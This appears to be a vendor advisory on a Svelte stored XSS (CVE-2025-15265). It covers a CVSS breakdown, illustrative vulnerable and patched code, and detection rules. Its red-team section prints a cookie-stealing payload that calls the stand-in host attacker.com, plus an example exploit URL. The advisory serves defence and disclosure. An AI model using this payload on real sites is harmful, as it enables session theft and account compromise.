CVE-2025-15265
Executive Summary
CVE-2025-15265 is a stored cross-site scripting (XSS) vulnerability in Svelte, a popular JavaScript framework. The flaw resides in the async hydration mechanism when attacker-controlled keys are passed to a hydratable component. The key is embedded inside a <script> block without proper HTML-safe escaping, allowing an attacker to inject a </script> tag to terminate the script block and inject arbitrary JavaScript. This enables remote script execution in users' browsers, with potential for session theft and account compromise. The vulnerability affects Svelte versions from 5.46.0 before 5.46.3. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Svelte is distributed via npm. Organizations using Svelte in their frontend applications should immediately audit their dependency trees for affected versions. The vulnerability is introduced through the svelte package itself, not a third-party plugin. Ensure that all projects using Svelte are updated to version 5.46.3 or later. Use npm audit or yarn audit to identify vulnerable dependencies.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must visit a crafted page.
- Scope (S): Changed (C) – The vulnerable component is different from the impacted resource.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but it can lead to session theft and account compromise in the context of the affected application.
Deep Dive & Mechanics
The vulnerability exists in Svelte's async hydration process. When a component is marked as hydratable, Svelte serializes its state into a <script> block within the HTML. The key (property name) of the component is embedded directly into this script block without proper escaping. If an attacker can control the key (e.g., through a URL parameter or API response), they can inject a </script> tag to close the script block and then inject arbitrary JavaScript.
Root Cause: The lack of HTML-safe escaping for the key value when it is placed inside a <script> block. The key is not sanitized for characters like <, >, or &, allowing an attacker to break out of the script context.
Attack Flow:
- An attacker crafts a malicious key containing
</script><script>alert(1)</script>. - The attacker passes this key to a hydratable Svelte component (e.g., via a URL parameter or API response).
- Svelte serializes the component state into a
<script>block, embedding the malicious key. - The browser parses the HTML, sees the
</script>tag, and closes the script block. - The injected JavaScript executes in the context of the page.
Vulnerable vs. Patched Code
Vulnerable Code (Svelte < 5.46.3):
// In the hydration serialization logic
function serializeState(state) {
let script = '<script>';
for (const key in state) {
// No escaping of key
script += `"${key}": ${JSON.stringify(state[key])},`;
}
script += '</script>';
return script;
}
Patched Code (Svelte >= 5.46.3):
// In the hydration serialization logic
function serializeState(state) {
let script = '<script>';
for (const key in state) {
// Properly escape the key for HTML context
const escapedKey = key.replace(/</g, '\\u003C').replace(/>/g, '\\u003E').replace(/&/g, '\\u0026');
script += `"${escapedKey}": ${JSON.stringify(state[key])},`;
}
script += '</script>';
return script;
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Svelte application using async hydration (version 5.46.0 to 5.46.2).
- An attacker-controlled input that is passed as a key to a hydratable component.
Exploitation Steps:
- Identify a Svelte component that uses
hydratableand accepts user-controlled keys. - Craft a payload:
</script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Inject the payload as the key value (e.g., via a URL parameter or API response).
- When a victim visits the page, the payload executes, sending their cookies to the attacker.
Example Payload:
<!-- Assume the key is passed via URL parameter ?key= -->
https://victim.com/page?key=</script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual script tags in HTML responses, especially those containing
</script>within attribute values. - Use WAF rules to block requests containing
</script>in parameter values. - Implement Content Security Policy (CSP) with
script-srcdirectives to restrict script execution.
Defense:
- Upgrade Svelte to version 5.46.3 or later.
- Sanitize all user inputs before passing them to Svelte components.
- Use a strict CSP that disallows inline scripts.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
</script>in query parameters or POST bodies. - Logs: Web server logs showing requests with
</script>in the URL. - File: Modified Svelte component files containing unescaped keys.
- Behavior: Unexpected script execution in the browser, such as alert dialogs or network requests to unknown domains.
Detection Engineering
YARA Rule
rule CVE_2025_15265_Svelte_SSR_XSS {
meta:
description = "Detects attempts to exploit CVE-2025-15265 in Svelte SSR"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-15265"
strings:
$payload = /<\/script>\s*<script[^>]*>/i
$svelte_key = /"key":\s*"[^"]*<\/script>/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-15265 Svelte SSR XSS Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing script injection patterns targeting Svelte SSR
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
c-uri|contains: '</script><script>'
condition: selection
falsepositives:
- Legitimate use of script tags in user input (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15265 Svelte SSR XSS Attempt"; flow:to_server,established; content:"</script><script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Svelte to version 5.46.3 or later.
- Review all Svelte components that use async hydration and ensure user-controlled keys are sanitized.
- Implement a strict Content Security Policy (CSP) with
script-src 'self'and no'unsafe-inline'.
Long-term Measures:
- Conduct a security audit of all frontend dependencies.
- Implement input validation and output encoding for all user-controlled data.
- Use a Web Application Firewall (WAF) to block XSS payloads.
Patch Details:
- Upgrade to Svelte 5.46.3 via npm:
npm install svelte@5.46.3 - Verify the update:
npm list svelte
Valters IT
Securing Digital Frontiers